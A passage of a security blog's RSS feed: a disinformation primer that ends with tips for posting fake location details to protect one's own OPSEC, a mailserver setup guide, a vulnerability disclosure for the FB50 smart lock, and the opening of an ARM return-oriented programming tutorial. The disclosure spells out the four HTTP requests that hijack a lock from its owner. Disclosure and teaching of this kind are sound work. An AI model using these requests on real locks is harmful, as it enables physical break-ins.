2648<li>the motivation behind the op, or its end goal (why)</li>
2649<li>the medium used to disperse the falsified information (how)</li>
2650<li>the actor (who)</li>
2651</ul>
2652
2653<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
2654
2655<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
2656forms—“info op” & “disinfo”.</p>
2657
2658<h2 id="creating-disinformation">Creating disinformation</h2>
2659
2660<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
2661of any disinformation sample is a huge indicator of the level of sophistication of the
2662actor involved, i.e. is it a 12 year old troll or a nation state?</p>
2663
2664<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
2665The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
2666To achieve this, the target — be it an individual, a specific demographic or an entire
2667nation — must be well researched. A deep understanding of the target’s culture, history,
2668geography and psychology is required. It also needs circumstantial and situational awareness,
2669of the target.</p>
2670
2671<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
2672recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
2673
2674<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
2675imagery:</p>
2676
2677<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
2678<p lang="en" dir="ltr">Disinformation.
2679<br><br>
2680The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
2681<br><br>Recontextualisation as threat vector.
2682<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
2683</p>— thaddeus e. grugq (@thegrugq)
2684<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
2685</blockquote>
2686
2687<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
2688
2689<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
2690
2691<p>I like to broadly categorize any info op as either proactive or reactive.
2692Proactively, disinformation is spread with the desire to influence the target
2693either before or during the occurence of an event. This is especially observed
2694during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
2695In offensive information operations, the target’s psychological state can be affected by
2696spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
2697
2698<p>Reactive disinformation is when the actor, usually a nation state in this case,
2699screws up and wants to cover their tracks. A fitting example of this is the case
2700of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
2701eastern Ukraine. This tragic incident has been attributed to Russian-backed
2702separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
2703Russian media is known to have desseminated a number of alternative & some even
2704conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
2705Investigation Team) investigations pointed towards the separatists.
2706The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
2707potentially correct information takes a credibility hit.</p>
2708
2709<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
2710in totalitarian regimes; when the government decides what the media portrays to the
2711masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
2712
2713<blockquote>
2714 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
2715 namely from the United States, and what they have called criminal Hong Kong thugs.
2716 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
2717 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
2718 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
2719 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
2720 …</p>
2721</blockquote>
2722
2723<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
2724
2725<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
2726play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
2727popularity.</p>
2728
2729<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
2730generate activity programmatically via the API, Twitter bots are the go-to choice today for
2731info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
2732to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
2733get realtime insights into what sticks and what doesn’t.
2734The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
2735factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
2736to create discussions about alternative theories.</p>
2737
2738<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
2739actively invest in creating group chats to spread political messages and memes. These parties
2740have volunteers whose sole job is to sit and forward messages.
2741Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
2742this is disinformation without a motive, or the motive is hard to determine simply because
2743the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
2744This is a difficult problem to combat, especially given the nature of the target audience.</p>
2745
2746<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
2747
2748<p>I doubt this requires further elaboration, but in short:</p>
2749
2750<ul>
2751<li>nation states and their intelligence agencies</li>
2752<li>governments, political parties</li>
2753<li>other non/quasi-governmental groups</li>
2754<li>trolls</li>
2755</ul>
2756
2757<p>This essentially sums up the what, why, how and who of disinformation. </p>
2758
2759<h2 id="personal-opsec">Personal OPSEC</h2>
2760
2761<p>This is a fun one. Now, it’s common knowledge that
2762<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
2763afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
2764lead to your OPSEC being compromised.
2765So if you really have to, you can feign activity using disinformation. For example,
2766pick a place, and throw in subtle details pertaining to the weather, local events
2767or regional politics of that place into your disinfo. Assuming this is Twitter, you can
2768tweet stuff like:</p>
2769
2770<ul>
2771<li>“Ugh, when will this hot streak end?!”</li>
2772<li>“Traffic wonky because of the Mardi Gras parade.”</li>
2773<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
2774</ul>
2775
2776<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
2777
2778<p>And please, don’t do this:</p>
2779
2780<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
2781
2782<h2 id="conclusion">Conclusion</h2>
2783
2784<p>The ability to influence someone’s decisions/thought process in just one tweet is
2785scary. There is no simple way to combat disinformation. Social media is hard to control.
2786Just like anything else in cyber, this too is an endless battle between social media corps
2787and motivated actors.</p>
2788
2789<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
2790folks see the truth in a post-truth world.</p>
2791
2792<div class="footnotes">
2793<hr />
2794<ol>
2795<li id="fn-1">
2796<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2797</li>
2798
2799<li id="fn-2">
2800<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2801</li>
2802
2803<li id="fn-3">
2804<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
2805</li>
2806
2807<li id="fn-4">
2808<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
2809</li>
2810
2811<li id="fn-5">
2812<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
2813</li>
2814</ol>
2815</div>
2816]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
2817around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
2818I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
2819
2820<p>For this attempt, I wanted a simpler approach. I recall how terribly
2821confusing Dovecot & Postfix were to configure and hence I decided to look
2822for a containerized solution, that most importantly, runs on my cheap $5
2823Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
2824is actually available. So yeah, <em>pretty</em> tight.</p>
2825
2826<h2 id="whats-available">What’s available</h2>
2827
2828<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
2829These are the ones I came across:</p>
2830
2831<ul>
2832<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
2833and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
2834<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
2835but ships with a web UI that I didn’t need. </p></li>
2836<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
2837they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
2838<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
2839a mention. It however, needs a fresh box to work with. A box with absolutely
2840nothing else on it. I can’t afford to do that.</p></li>
2841<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
2842</ul>
2843
2844<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
2845
2846<p>The first thing that caught my eye in the README:</p>
2847
2848<blockquote>
2849 <p>Recommended:</p>
2850
2851 <ul>
2852 <li>1 CPU</li>
2853 <li>1GB RAM</li>
2854 </ul>
2855
2856 <p>Minimum:</p>
2857
2858 <ul>
2859 <li>1 CPU</li>
2860 <li>512MB RAM</li>
2861 </ul>
2862</blockquote>
2863
2864<p>Fantastic, I can somehow squeeze this into my existing VPS.
2865Setup was fairly simple & the docs are pretty good. It employs a single
2866<code>.env</code> file for configuration, which is great.
2867However, I did run into a couple of hiccups here and there.</p>
2868
2869<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
2870of memory.</p>
2871
2872<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
2873</code></pre>
2874
2875<p>But it eventually worked after a couple of attempts.</p>
2876
2877<p>The next thing I struggled with — DNS. Specifically, the with the step where
2878the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
2879<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
2880isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
2881a <code>TXT</code> record. </p>
2882
2883<p>This is what it looks like.</p>
2884
2885<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
2886 "p=<key>"
2887 "<more key>" ) ; -- -- DKIM key mail for icyphox.sh
2888</code></pre>
2889
2890<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
2891and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
2892Also remove the part that appears to be a comment <code>; -- -- ...</code>.</p>
2893
2894<p>To simplify debugging DNS issues later, it’s probably a good idea to
2895point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
2896<code>A</code> record.
2897You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
2898uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
2899And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
2900your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
2901I learnt this part the hard way, when my outgoing email kept getting
2902rejected by Tutanota’s servers.</p>
2903
2904<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
2905documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
2906and look at an example. In short, install <code>certbot</code>, have port 80 free,
2907and run </p>
2908
2909<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
2910</code></pre></div>
2911
2912<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
2913the container, something like so:</p>
2914
2915<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
2916
2917<span class="nt">volumes</span><span class="p">:</span>
2918 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
2919 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
2920 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
2921 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
2922
2923<span class="nn">...</span>
2924</code></pre></div>
2925
2926<p>With this done, you shouldn’t have mail clients complaining about
2927wonky certs for which you’ll have to add an exception manually.</p>
2928
2929<h2 id="why-would-you">Why would you…?</h2>
2930
2931<p>There are a few good reasons for this:</p>
2932
2933<h3 id="privacy">Privacy</h3>
2934
2935<p>No really, this is <em>the</em> best choice for truly private
2936email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
2937dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
2938
2939<blockquote>
2940 <p>Truly secure systems do not require you to trust the service provider.</p>
2941</blockquote>
2942
2943<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
2944how can you really be sure that it isn’t a backdoored version of it?</p>
2945
2946<p>When you host your own mailserver, you truly own your email without having to rely on any
2947third-party.
2948This isn’t an attempt to spread FUD. In the end, it all depends on your
2949threat model™.</p>
2950
2951<h3 id="decentralization">Decentralization</h3>
2952
2953<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
2954active users. That’s obscene.
2955Email was designed to be decentralized but big corps swooped in and
2956made it a product. They now control your data, and it isn’t unknown that
2957Google reads your mail. This again loops back to my previous point, privacy.
2958Decentralization guarantees privacy. When you control your mail, you subsequently
2959control who reads it.</p>
2960
2961<h3 id="personalization">Personalization</h3>
2962
2963<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
2964
2965<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
2966
2967<p>Pfft, this is no competition.</p>
2968
2969<div class="footnotes">
2970<hr />
2971<ol>
2972<li id="fn-1">
2973<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2974</li>
2975
2976<li id="fn-2">
2977<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2978</li>
2979
2980<li id="fn-3">
2981<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
2982</li>
2983</ol>
2984</div>
2985]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
2986
2987<h2 id="the-lock">The lock</h2>
2988
2989<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
2990Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
2991across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
2992
2993<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
2994the Play/App Store to function. The app requires the user to create an
2995account before further functionality is available.
2996It also facilitates configuring the fingerprint,
2997and unlocking from a range via Bluetooth.</p>
2998
2999<p>We had two primary attack surfaces we decided to tackle—Bluetooth (BLE)
3000and the Android app.</p>
3001
3002<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
3003
3004<p>Android phones have the ability to capture Bluetooth (HCI) traffic
3005which can be enabled under Developer Options under Settings. We made
3006around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
3007
3008<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
3009
3010<p>This is the value sent in the <code>Write</code> request:</p>
3011
3012<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
3013
3014<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
3015but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
3016
3017<h2 id="via-the-android-app">Via the Android app</h2>
3018
3019<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
3020far since most of it was obfuscated. Why bother when there exists an
3021easier approach—BurpSuite.</p>
3022
3023<p>We captured and played around with a bunch of requests and responses,
3024and finally arrived at a working exploit chain.</p>
3025
3026<h2 id="the-exploit">The exploit</h2>
3027
3028<p>The entire exploit is a 4 step process consisting of authenticated
3029HTTP requests:</p>
3030
3031<ol>
3032<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
3033vicinity), get the barcode and lock ID</li>
3034<li>Using the barcode, fetch the user ID</li>
3035<li>Using the lock ID and user ID, unbind the user from the lock</li>
3036<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
3037to the lock</li>
3038</ol>
3039
3040<p>This is what it looks like, in essence (personal info redacted).</p>
3041
3042<h3 id="request-1">Request 1</h3>
3043
3044<pre><code>POST /oklock/lock/queryDevice
3045{"mac":"XX:XX:XX:XX:XX:XX"}
3046</code></pre>
3047
3048<p>Response:</p>
3049
3050<pre><code>{
3051 "result":{
3052 "alarm":0,
3053 "barcode":"<BARCODE>",
3054 "chipType":"1",
3055 "createAt":"2019-05-14 09:32:23.0",
3056 "deviceId":"",
3057 "electricity":"95",
3058 "firmwareVersion":"2.3",
3059 "gsmVersion":"",
3060 "id":<LOCK ID>,
3061 "isLock":0,
3062 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
3063 "lockPwd":"000000",
3064 "mac":"XX:XX:XX:XX:XX:XX",
3065 "name":"lock",
3066 "radioName":"BlueFPL",
3067 "type":0
3068 },
3069 "status":"2000"
3070}
3071</code></pre>
3072
3073<h3 id="request-2">Request 2</h3>
3074
3075<pre><code>POST /oklock/lock/getDeviceInfo
3076
3077{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
3078</code></pre>
3079
3080<p>Response:</p>
3081
3082<pre><code> "result":{
3083 "account":"email@some.website",
3084 "alarm":0,
3085 "barcode":"<BARCODE>",
3086 "chipType":"1",
3087 "createAt":"2019-05-14 09:32:23.0",
3088 "deviceId":"",
3089 "electricity":"95",
3090 "firmwareVersion":"2.3",
3091 "gsmVersion":"",
3092 "id":<LOCK ID>,
3093 "isLock":0,
3094 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
3095 "lockPwd":"000000",
3096 "mac":"XX:XX:XX:XX:XX:XX",
3097 "name":"lock",
3098 "radioName":"BlueFPL",
3099 "type":0,
3100 "userId":<USER ID>
3101 }
3102</code></pre>
3103
3104<h3 id="request-3">Request 3</h3>
3105
3106<pre><code>POST /oklock/lock/unbind
3107
3108{"lockId":"<LOCK ID>","userId":<USER ID>}
3109</code></pre>
3110
3111<h3 id="request-4">Request 4</h3>
3112
3113<pre><code>POST /oklock/lock/bind
3114
3115{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
3116</code></pre>
3117
3118<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
3119
3120<p>You should have the lock transferred to your account. The severity of this
3121issue lies in the fact that the original owner completely loses access to
3122their lock. They can’t even “rebind” to get it back, since the current owner
3123(the attacker) needs to authorize that. </p>
3124
3125<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
3126Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
3127“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
3128
3129<p><em>shudders</em></p>
3130
3131<h2 id="proof-of-concept">Proof of Concept</h2>
3132
3133<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
3134
3135<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
3136
3137<h2 id="disclosure-timeline">Disclosure timeline</h2>
3138
3139<ul>
3140<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
3141<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
3142<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
3143<li>No response from vendor</li>
3144<li><strong>2nd August 2019</strong>: Public disclosure</li>
3145</ul>
3146
3147<h2 id="lessons-learnt">Lessons learnt</h2>
3148
3149<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
3150with keys. With the IoT plague spreading, it brings in a large attack surface
3151to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
3152
3153<p>The IoT security scene is rife with bugs from over 10 years ago, like
3154executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
3155practices in general.</p>
3156
3157<p>Our existing threat models and scenarios have to be updated to factor
3158in these new exploitation possibilities. This also broadens the playing
3159field for cyber warfare and mass surveillance campaigns. </p>
3160
3161<h2 id="researcher-info">Researcher info</h2>
3162
3163<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
3164
3165<ul>
3166<li>Anirudh Oppiliappan (me)</li>
3167<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
3168<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
3169</ul>
3170
3171<div class="footnotes">
3172<hr />
3173<ol>
3174<li id="fn-1">
3175<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
3176</li>
3177
3178<li id="fn-2">
3179<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
3180</li>
3181
3182<li id="fn-3">
3183<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
3184</li>
3185</ol>
3186</div>
3187]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
3188assembly to follow along. I highly recommend
3189<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
3190Basics</a>. Once you’re
3191comfortable with it, proceed with the next bit—environment setup.</p>
3192
3193<h2 id="setup">Setup</h2>
3194
3195<p>Since we’re working with the ARM architecture, there are two options to go
3196forth with: </p>
3197
3198<ol>
3199<li>Emulate—head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
3200And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
3201The scripts found inside should be self-explanatory.</li>
3202<li>Use actual ARM hardware, like an RPi.</li>
3203</ol>
3204
3205<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
3206may use <code>radare2</code>, IDA or anything else, really. All of which can be
3207trivially installed.</p>
3208
3209<p>And for the sake of simplicity, disable ASLR:</p>
3210
3211<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
3212</code></pre></div>
3213
3214<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
3215<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
3216
3217<p>Compile it:</p>
3218
3219<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
3220</code></pre></div>
3221
3222<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
3223
3224<h2 id="a-primer-on-rop">A primer on ROP</h2>
3225
3226<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
3227used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
3228In essence, no code in the binary is actually modified and the entire exploit
3229is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
3230
3231<p>A gadget is essentially a small sequence of code (instructions), ending with
3232a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
3233code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
3234These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
3235to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
3236there’s generally a call to <code>system()</code>, to acheive code execution.</p>
3237
3238<p>In practice, the process of executing a ropchain is something like this:</p>
3239
3240<ul>
3241<li>confirm the existence of a stack-based buffer overflow</li>
3242<li>identify the offset at which the instruction pointer gets overwritten</li>
3243<li>locate the addresses of the gadgets you wish to use</li>
3244<li>craft your input keeping in mind the stack’s layout, and chain the addresses
3245of your gadgets</li>
3246</ul>
3247
3248<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
3249Check it out, it might be just what you needed for that “aha!” moment :)</p>
3250
3251<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
3252that should put things into perspective.</p>
3253
3254<h2 id="exploring-our-binary">Exploring our binary</h2>
3255
3256<p>Start by running it, and entering any arbitrary string. On entering a fairly
3257large string, say, “A” × 20, we
3258see a segmentation fault occur.</p>
3259
3260<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
3261
3262<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
3263
3264<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
3265
3266<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
3267<code>gadget</code>. Disassembling the <code>main</code> function:</p>
3268
3269<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
3270
3271<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
3272to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
3273never actually called.</p>
3274
3275<p>Disassembling the <code>gadget</code> function:</p>
3276
3277<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
3278
3279<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
3280which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
3281instruction in the middle. This is a <strong>gadget</strong>.</p>
3282
3283<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
3284arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
3285are used for this. So this gadget effectively allows us to pass arguments to
3286functions using <code>r0</code>, and subsequently jumping to them by passing its address
3287in <code>pc</code>. Neat.</p>
3288
3289<p>Moving on to the disassembly of the <code>winner</code> function:</p>
3290
3291<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
3292
3293<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
3294So our end goal here is to, quite obviously, execute code via the <code>system()</code>
3295function.</p>
3296
3297<p>Now that we have an overview of what’s in the binary, let’s formulate a method
3298of exploitation by messing around with inputs.</p>
3299
3300<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
3301
3302<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
3303screenshot.</p>
3304
3305<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
3306
3307<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
3308the <code>pc</code> has been overwritten with our input.
3309So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
3310
3311<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
3312control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
3313
